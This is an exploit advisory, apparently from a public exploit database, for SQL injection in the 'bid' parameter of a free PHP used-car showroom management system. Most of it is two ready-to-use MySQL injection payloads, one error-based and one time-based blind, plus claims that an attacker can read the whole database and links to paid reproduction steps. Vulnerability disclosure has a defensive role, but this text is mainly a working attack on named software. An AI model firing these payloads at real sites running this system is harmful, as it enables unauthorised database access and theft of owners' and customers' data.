## Titles: used_car_showroom-1.0-2024 Multiple-SQLi ## Author: nu11secur1ty ## Date: 08/21/2024 ## Vendor: https://github.com/oretnom23 ## Software: https://www.sourcecodester.com/php/15067/online-pre-ownedused-car-showroom-management-system-php-free-source-code.html ## Reference: https://portswigger.net/web-security/sql-injection ## Description: The bid parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the bid parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present. The attacker can get all the information from the database of this system, and he can do very malicious action against the owner of this application! STATUS: HIGH- Vulnerability [+]Exploits: - SQLi Multiple: ```mysql --- Parameter: bid (GET) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: page=product_per_brand&bid=1' AND (SELECT 2276 FROM(SELECT COUNT(*),CONCAT(0x7178787671,(SELECT (ELT(2276=2276,1))),0x716a626271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)# scui Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: page=product_per_brand&bid=1' AND (SELECT 6589 FROM (SELECT(SLEEP(7)))TtCK)# iMmi --- ``` ## Reproduce: [href](https://www.patreon.com/posts/used-car-1-0-110502400) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2024/08/usedcarshowroom-10-2024-multiple-sqli.html) ## Time spent: 00:19:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>
{{ x.nick }}
| Date:{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1 {{ x.comment }} |